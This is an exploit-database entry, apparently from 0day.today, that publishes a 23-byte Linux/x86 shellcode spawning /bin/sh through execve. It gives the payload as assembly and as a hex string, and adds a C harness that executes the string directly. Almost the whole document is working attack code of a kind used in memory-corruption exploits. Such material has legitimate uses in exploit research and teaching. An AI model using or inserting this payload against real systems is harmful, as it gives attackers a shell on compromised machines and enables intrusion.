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Linux/x86 - execve /bin/sh shellcode 23 bytes

Author
Hamza.Megahed
Risk
[
Security Risk Low
]
0day-ID
0day-ID-19900
Category
shellcode
Date add
06-12-2012
Platform
linux
******************************************************
* Linux/x86 execve /bin/sh shellcode 23 bytes   *
******************************************************
* Author: Hamza Megahed                                *
******************************************************
* Twitter: @Hamza_Mega                                  *
******************************************************
* blog: hamza-mega[dot]blogspot[dot]com        *
******************************************************
* E-mail: hamza[dot]megahed[at]gmail[dot]com *
******************************************************

xor    %eax,%eax
push   %eax
push   $0x68732f2f
push   $0x6e69622f
mov    %esp,%ebx
push   %eax
push   %ebx
mov    %esp,%ecx
mov    $0xb,%al
int    $0x80

**********************************************

#include <stdio.h>
#include <string.h>
 
char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
		  "\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}

#  0day.today [2024-11-15]  #